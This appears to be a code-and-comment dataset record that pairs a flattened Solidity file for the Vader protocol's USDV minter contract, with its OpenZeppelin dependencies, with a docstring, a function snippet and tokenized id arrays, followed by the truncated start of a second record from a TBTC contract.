return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected]
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(
_initializing ? _isConstructor() : !_initialized,
"Initializable: contract is already initialized"
);
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// File @openzeppelin/contracts-upgradeable/utils/[email protected]
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
__Context_init_unchained();
}
function __Context_init_unchained() internal onlyInitializing {}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/[email protected]
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal onlyInitializing {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal onlyInitializing {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// File contracts/ProtocolConstants.sol
abstract contract ProtocolConstants {
/* ========== GENERAL ========== */
// The zero address, utility
address internal constant _ZERO_ADDRESS = address(0);
// One year, utility
uint256 internal constant _ONE_YEAR = 365 days;
// Basis Points
uint256 internal constant _MAX_BASIS_POINTS = 100_00;
/* ========== VADER TOKEN ========== */
// Max VADER supply
uint256 internal constant _INITIAL_VADER_SUPPLY = 25_000_000_000 * 1 ether;
// Allocation for VETH holders
uint256 internal constant _VETH_ALLOCATION = 7_500_000_000 * 1 ether;
// Team allocation vested over {VESTING_DURATION} years
uint256 internal constant _TEAM_ALLOCATION = 2_500_000_000 * 1 ether;
// Ecosystem growth fund unlocked for partnerships & USDV provision
uint256 internal constant _ECOSYSTEM_GROWTH = 2_500_000_000 * 1 ether;
// Total grant tokens
uint256 internal constant _GRANT_ALLOCATION = 12_500_000_000 * 1 ether;
// Emission Era
uint256 internal constant _EMISSION_ERA = 24 hours;
// Initial Emission Curve, 5
uint256 internal constant _INITIAL_EMISSION_CURVE = 5;
// Fee Basis Points
uint256 internal constant _MAX_FEE_BASIS_POINTS = 1_00;
/* ========== USDV TOKEN ========== */
// Max locking duration
uint256 internal constant _MAX_LOCK_DURATION = 30 days;
/* ========== VESTING ========== */
// Vesting Duration
uint256 internal constant _VESTING_DURATION = 2 * _ONE_YEAR;
/* ========== CONVERTER ========== */
// Vader -> Vether Conversion Rate (10000:1)
uint256 internal constant _VADER_VETHER_CONVERSION_RATE = 10_000;
// Burn Address
address internal constant _BURN =
0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD;
/* ========== GAS QUEUE ========== */
// Address of Chainlink Fast Gas Price Oracle
address internal constant _FAST_GAS_ORACLE =
0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C;
/* ========== VADER RESERVE ========== */
// Minimum delay between grants
uint256 internal constant _GRANT_DELAY = 30 days;
// Maximum grant size divisor
uint256 internal constant _MAX_GRANT_BASIS_POINTS = 10_00;
}
// File contracts/interfaces/ILiquidityBasedTWAP.sol
interface ILiquidityBasedTWAP {
function maxUpdateWindow() external view returns (uint256);
function getVaderPrice() external returns (uint256);
}
// File contracts/VaderMinterStorage.sol
struct Limits {
uint256 fee;
uint256 mintLimit;
uint256 burnLimit;
uint256 lockDuration;
}
contract VaderMinterStorage {
// The LBT pricing mechanism for the conversion
ILiquidityBasedTWAP public lbt;
// The 24 hour limits on USDV mints that are available for public minting and burning as well as the fee.
Limits public dailyLimits;
// The current cycle end timestamp
uint256 public cycleTimestamp;
// The current cycle cumulative mints
uint256 public cycleMints;
// The current cycle cumulative burns
uint256 public cycleBurns;
// The limits applied to each partner
mapping(address => Limits) public partnerLimits;
// Transmuter Contract
address public transmuter;
}
// File contracts/interfaces/IVaderMinterUpgradeable.sol
interface IVaderMinterUpgradeable {
/* ========== FUNCTIONS ========== */
function mint(uint256 vAmount, uint256 uAmountMinOut)
external
returns (uint256 uAmount);
function burn(uint256 uAmount, uint256 vAmountMinOut)
external
returns (uint256 vAmount);
function partnerMint(uint256 vAmount, uint256 uAmountMinOut)
external
returns (uint256 uAmount);
function partnerBurn(uint256 uAmount, uint256 vAmountMinOut)
external
returns (uint256 vAmount);
/* ========== EVENTS ========== */
event DailyLimitsChanged(Limits previousLimits, Limits nextLimits);
event WhitelistPartner(
address partner,
uint256 mintLimit,
uint256 burnLimit,
uint256 fee
);
event RemovePartner(address partner);
event SetPartnerFee(address indexed partner, uint256 fee);
event IncreasePartnerMintLimit(address indexed partner, uint256 mintLimit);
event DecreasePartnerMintLimit(address indexed partner, uint256 mintLimit);
event IncreasePartnerBurnLimit(address indexed partner, uint256 burnLimit);
event DecreasePartnerBurnLimit(address indexed partner, uint256 burnLimit);
event SetPartnerLockDuration(address indexed partner, uint256 lockDuration);
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File contracts/interfaces/IUSDV.sol
interface IUSDV is IERC20 {
/* ========== ENUMS ========== */
enum LockTypes {
USDV,
VADER
}
/* ========== STRUCTS ========== */
struct Lock {
LockTypes token;
uint256 amount;
uint256 release;
}
/* ========== FUNCTIONS ========== */
function mint(
address account,
uint256 vAmount,
uint256 uAmount,
uint256 exchangeFee,
uint256 window
) external returns (uint256);
function burn(
address account,
uint256 uAmount,
uint256 vAmount,
uint256 exchangeFee,
uint256 window
) external returns (uint256);
/* ========== EVENTS ========== */
event ExchangeFeeChanged(uint256 previousExchangeFee, uint256 exchangeFee);
event DailyLimitChanged(uint256 previousDailyLimit, uint256 dailyLimit);
event LockClaimed(
address user,
LockTypes lockType,
uint256 lockAmount,
uint256 lockRelease
);
event LockCreated(
address user,
LockTypes lockType,
uint256 lockAmount,
uint256 lockRelease
);
event ValidatorSet(address previous, address current);
event GuardianSet(address previous, address current);
event LockStatusSet(bool status);
event MinterSet(address minter);
}
// File contracts/VaderMinterUpgradeableV3.sol
contract VaderMinterUpgradeableV3 is
VaderMinterStorage,
IVaderMinterUpgradeable,
ProtocolConstants,
OwnableUpgradeable
{
// USDV Contract for Mint / Burn Operations
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable
IUSDV public immutable usdv;
/* ========== CONSTRUCTOR ========== */
/// @custom:oz-upgrades-unsafe-allow constructor
constructor(address _usdv) {
require(_usdv != address(0), "usdv = zero address");
usdv = IUSDV(_usdv);
}
function initialize() external initializer {
__Ownable_init();
cycleTimestamp = block.timestamp;
}
/* ========== VIEWS ========== */
function getPublicFee() public view returns (uint256) {
// 24 hours passed, reset fee to 100%
if (block.timestamp >= cycleTimestamp) {
return dailyLimits.fee;
}
// cycle timestamp > block.timestamp, fee < 100%
return
(dailyLimits.fee * (cycleTimestamp - block.timestamp)) / 24 hours;
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @dev Public mint function that receives Vader and mints USDV.
* @param vAmount Vader amount to burn.
* @param uAmountMinOut USDV minimum amount to get back from the mint.
* @return uAmount in USDV, represents the USDV amount received from the mint.
*/
function mint(uint256 vAmount, uint256 uAmountMinOut)
external
returns (uint256 uAmount)
{
uint256 vPrice = lbt.getVaderPrice();
uAmount = (vPrice * vAmount) / 1e18;
if (cycleTimestamp <= block.timestamp) {
cycleTimestamp = block.timestamp + 24 hours;
cycleMints = uAmount;
cycleBurns = 0;
} else {
cycleMints += uAmount;
}
require(
cycleMints <= dailyLimits.mintLimit,
"VMU::mint: 24 Hour Limit Reached"
);
// Actual amount of USDV minted including fees
uAmount = usdv.mint(
msg.sender,
vAmount,
uAmount,
getPublicFee(),
dailyLimits.lockDuration
);
require(
uAmount >= uAmountMinOut,
"VMU::mint: Insufficient Trade Output"
);
return uAmount;
}
/**
* @dev Public burn function that receives USDV and mints Vader.
* @param uAmount USDV amount to burn.
* @param vAmountMinOut Vader minimum amount to get back from the burn.
* @return vAmount in Vader, represents the Vader amount received from the burn.
*
*/
function burn(uint256 uAmount, uint256 vAmountMinOut)
external
returns (uint256 vAmount)
{
uint256 vPrice = lbt.getVaderPrice();
vAmount = (1e18 * uAmount) / vPrice;
if (cycleTimestamp <= block.timestamp) {
cycleTimestamp = block.timestamp + 24 hours;
cycleBurns = uAmount;
cycleMints = 0;
} else {
cycleBurns += uAmount;
}
require(
cycleBurns <= dailyLimits.burnLimit,
"VMU::burn: 24 Hour Limit Reached"
);
// Actual amount of Vader minted including fees
vAmount = usdv.burn(
msg.sender,
uAmount,
vAmount,
getPublicFee(),
dailyLimits.lockDuration
);
require(
vAmount >= vAmountMinOut,
"VMU::burn: Insufficient Trade Output"
);
return vAmount;
}
/**
* @notice Public destroy function that burns USDV without minting Vader. Use with caution!
* @param uAmount USDV amount to burn permanently.
*/
function unsafeDestroyUsdv(uint256 uAmount) external {
require(uAmount > 0, "VMU::unsafeDestroyUsdv: Zero Input");
uint256 vPrice = lbt.getVaderPrice();
// since 1 Vader will be minted, uAmount has to exceed that in value
require(
1e18 * uAmount >= vPrice,
"VMU::unsafeDestroyUsdv: Minimum Amount"
);
usdv.burn(msg.sender, uAmount, 1, _MAX_BASIS_POINTS, 0);
}
/**
* @notice Public destroy function that burns Vader without minting USDV. Use with caution!
* @param vAmount Vader amount to destroy permanently.
*/
function unsafeDestroyVader(uint256 vAmount) external {
require(vAmount > 0, "VMU::unsafeDestroyVader: Zero Input");
uint256 vPrice = lbt.getVaderPrice();
// since 1 USDV will be minted, vAmount has to exceed that in value
require(
vPrice * vAmount >= 1e18,
"VMU::unsafeDestroyVader: Minimum Amount"
);
usdv.mint(msg.sender, vAmount, 1, _MAX_BASIS_POINTS, 0);
}
/* ========== RESTRICTED FUNCTIONS ========== */
/**
* @dev Partner mint function that receives Vader and mints USDV.
* @param vAmount Vader amount to burn.
* @param uAmountMinOut USDV minimum amount to get back from the mint.
* @return uAmount in USDV, represents the USDV amount received from the mint.
*
* Requirements:
* - Can only be called by whitelisted partners.
*/
function partnerMint(uint256 vAmount, uint256 uAmountMinOut)
external
returns (uint256 uAmount)
{
require(
partnerLimits[msg.sender].mintLimit != 0,
"VMU::partnerMint: Not Whitelisted"
);
uint256 vPrice = lbt.getVaderPrice();
uAmount = (vPrice * vAmount) / 1e18;
Limits storage _partnerLimits = partnerLimits[msg.sender];
require(
uAmount <= _partnerLimits.mintLimit,
"VMU::partnerMint: Mint Limit Reached"
);
unchecked {
_partnerLimits.mintLimit -= uAmount;
}
uAmount = usdv.mint(
msg.sender,
vAmount,
uAmount,
_partnerLimits.fee,
_partnerLimits.lockDuration
);
require(
uAmount >= uAmountMinOut,
"VMU::partnerMint: Insufficient Trade Output"
);
return uAmount;
}
/**
* @dev Partner burn function that receives USDV and mints Vader.
* @param uAmount USDV amount to burn.
* @param vAmountMinOut Vader minimum amount to get back from the burn.
* @return vAmount in Vader, represents the Vader amount received from the mint.
*
* Requirements:
* - Can only be called by whitelisted partners.
*/
function partnerBurn(uint256 uAmount, uint256 vAmountMinOut)
external
returns (uint256 vAmount)
{
require(
partnerLimits[msg.sender].burnLimit != 0,
"VMU::partnerBurn: Not Whitelisted"
);
uint256 vPrice = lbt.getVaderPrice();
vAmount = (1e18 * uAmount) / vPrice;
Limits storage _partnerLimits = partnerLimits[msg.sender];
require(
uAmount <= _partnerLimits.burnLimit,
"VMU::partnerBurn: Burn Limit Reached"
);
unchecked {
_partnerLimits.burnLimit -= uAmount;
}
vAmount = usdv.burn(
msg.sender,
uAmount,
vAmount,
_partnerLimits.fee,
_partnerLimits.lockDuration
);
require(
vAmount >= vAmountMinOut,
"VMU::partnerBurn: Insufficient Trade Output"
);
return vAmount;
}
/**
* @dev Sets the daily limits for public mints represented by the param {_dailyMintLimit}.
*
* Requirements:
* - Only existing owner can call this function.
* - Param {_fee} fee can not be bigger than _MAX_BASIS_POINTS.
* - Param {_mintLimit} mint limit can be 0.
* - Param {_burnLimit} burn limit can be 0.
* - Param {_lockDuration} lock duration can be 0.
*/
function setDailyLimits(
uint256 _fee,
uint256 _mintLimit,
uint256 _burnLimit,
uint256 _lockDuration
) external onlyOwner {
require(_fee <= _MAX_BASIS_POINTS, "VMU::setDailyLimits: Invalid Fee");
require(
_lockDuration <= _MAX_LOCK_DURATION,
"VMU::setDailyLimits: Invalid lock duration"
);
Limits memory _dailyLimits = Limits({
fee: _fee,
mintLimit: _mintLimit,
burnLimit: _burnLimit,
lockDuration: _lockDuration
});
emit DailyLimitsChanged(dailyLimits, _dailyLimits);
dailyLimits = _dailyLimits;
}
/**
* @dev Sets the a partner address {_partner } to a given limit {_limits} that represents the ability
* to mint USDV from the reserve partners minting allocation.
*
* Requirements:
* - Only existing owner can call this function.
* - Param {_partner} cannot be a zero address.
* - Param {_fee} fee can not be bigger than _MAX_BASIS_POINTS.
* - Param {_mintLimit} mint limits can be 0.
* - Param {_burnLimit} burn limits can be 0.
* - Param {_lockDuration} lock duration can be 0.
*/
function whitelistPartner(
address _partner,
uint256 _fee,
uint256 _mintLimit,
uint256 _burnLimit,
uint256 _lockDuration
) external onlyOwner {
require(_partner != address(0), "VMU::whitelistPartner: Zero Address");
require(
_fee <= _MAX_BASIS_POINTS,
"VMU::whitelistPartner: Invalid Fee"
);
require(
_lockDuration <= _MAX_LOCK_DURATION,
"VMU::whitelistPartner: Invalid lock duration"
);
emit WhitelistPartner(_partner, _mintLimit, _burnLimit, _fee);
partnerLimits[_partner] = Limits({
fee: _fee,
mintLimit: _mintLimit,
burnLimit: _burnLimit,
lockDuration: _lockDuration
});
}
/**
* @dev Remove partner
* @param _partner Address of partner.
*
* Requirements:
* - Only existing owner can call this function.
*/
function removePartner(address _partner) external onlyOwner {
delete partnerLimits[_partner];
emit RemovePartner(_partner);
}
/**
* @dev Set partner fee
* @param _partner Address of partner.
* @param _fee New fee.
*
* Requirements:
* - Only existing owner can call this function.
* - Param {_fee} fee can not be bigger than _MAX_BASIS_POINTS.
*/
function setPartnerFee(address _partner, uint256 _fee) external onlyOwner {
require(_fee <= _MAX_BASIS_POINTS, "VMU::setPartnerFee: Invalid Fee");
partnerLimits[_partner].fee = _fee;
emit SetPartnerFee(_partner, _fee);
}
/**
* @dev Increase partner mint limit.
* @param _partner Address of partner.
* @param _amount Amount to increase the mint limit by.
*
* Requirements:
* - Only existing owner can call this function.
*/
function increasePartnerMintLimit(address _partner, uint256 _amount)
external
onlyOwner
{
Limits storage limits = partnerLimits[_partner];
limits.mintLimit += _amount;
emit IncreasePartnerMintLimit(_partner, limits.mintLimit);
}
/**
* @dev Decrease partner mint limit.
* @param _partner Address of partner.
* @param _amount Amount to decrease the mint limit by.
*
* Requirements:
* - Only existing owner can call this function.
*/
function decreasePartnerMintLimit(address _partner, uint256 _amount)
external
onlyOwner
{
Limits storage limits = partnerLimits[_partner];
limits.mintLimit -= _amount;
emit DecreasePartnerMintLimit(_partner, limits.mintLimit);
}
/**
* @dev Increase partner mint limit.
* @param _partner Address of partner.
* @param _amount Amount to increase the burn limit by.
*
* Requirements:
* - Only existing owner can call this function.
*/
function increasePartnerBurnLimit(address _partner, uint256 _amount)
external
onlyOwner
{
Limits storage limits = partnerLimits[_partner];
limits.burnLimit += _amount;
emit IncreasePartnerBurnLimit(_partner, limits.burnLimit);
}
/**
* @dev Decrease partner mint limit.
* @param _partner Address of partner.
* @param _amount Amount to decrease the burn limit by.
*
* Requirements:
* - Only existing owner can call this function.
*/
function decreasePartnerBurnLimit(address _partner, uint256 _amount)
external
onlyOwner
{
Limits storage limits = partnerLimits[_partner];
limits.burnLimit -= _amount;
emit DecreasePartnerBurnLimit(_partner, limits.burnLimit);
}
/**
* @dev Set partner lock duration.
* @param _partner Address of partner.
* @param _lockDuration New lock duration
*
* Requirements:
* - Only existing owner can call this function.
* - Param {_lockDuration} cannot be bigger than _MAX_LOCK_DURATION
*/
function setPartnerLockDuration(address _partner, uint256 _lockDuration)
external
onlyOwner
{
require(
_lockDuration <= _MAX_LOCK_DURATION,
"VMU::setPartnerLockDuration: Invalid lock duration"
);
partnerLimits[_partner].lockDuration = _lockDuration;
emit SetPartnerLockDuration(_partner, _lockDuration);
}
/**
* @dev Sets the transmuter contract address represented by the param {_transmuter}.
*
* Requirements:
* - Only existing owner can call this function.
* - Param {_transmuter} can not be address ZERO.
*/
function setTransmuterAddress(address _transmuter) external onlyOwner {
require(
_transmuter != address(0),
"VMU::setTransmuterAddress: Zero Address"
);
transmuter = _transmuter;
}
/**
* @dev Sets the lbt contract address represented by the param {_lbt}.
*
* Requirements:
* - Only existing owner can call this function.
* - Param {_lbt} can not be address ZERO.
*/
function setLBT(ILiquidityBasedTWAP _lbt) external onlyOwner {
require(
_lbt != ILiquidityBasedTWAP(address(0)),
"VMU::setLBT: Zero Address"
);
lbt = _lbt;
}
} | * @dev Sets the lbt contract address represented by the param {_lbt}. Requirements: - Only existing owner can call this function. - Param {_lbt} can not be address ZERO./ | function setLBT(ILiquidityBasedTWAP _lbt) external onlyOwner {
require(
_lbt != ILiquidityBasedTWAP(address(0)),
"VMU::setLBT: Zero Address"
);
lbt = _lbt;
}
| 15,070,033 | [
1,
2785,
326,
7831,
88,
6835,
1758,
10584,
635,
326,
579,
288,
67,
20404,
88,
5496,
29076,
30,
300,
5098,
2062,
3410,
848,
745,
333,
445,
18,
300,
3014,
288,
67,
20404,
88,
97,
848,
486,
506,
1758,
18449,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
444,
12995,
56,
12,
2627,
18988,
24237,
9802,
18869,
2203,
389,
20404,
88,
13,
3903,
1338,
5541,
288,
203,
3639,
2583,
12,
203,
5411,
389,
20404,
88,
480,
467,
48,
18988,
24237,
9802,
18869,
2203,
12,
2867,
12,
20,
13,
3631,
203,
5411,
315,
7397,
57,
2866,
542,
12995,
56,
30,
12744,
5267,
6,
203,
3639,
11272,
203,
3639,
7831,
88,
273,
389,
20404,
88,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x9C070027cdC9dc8F82416B2e5314E11DFb4FE3CD/sources/contracts/vault/TBTCOptimisticMinting.sol | @notice New optimistic minting fee divisor value. Set only when the parameter update process is pending. Once the update gets finalized, this will be the value of the divisor. | uint32 public newOptimisticMintingFeeDivisor;
| 4,856,383 | [
1,
1908,
5213,
5846,
312,
474,
310,
14036,
15013,
460,
18,
1000,
1338,
1347,
326,
540,
1569,
1089,
1207,
353,
4634,
18,
12419,
326,
1089,
5571,
1850,
727,
1235,
16,
333,
903,
506,
326,
460,
434,
326,
15013,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
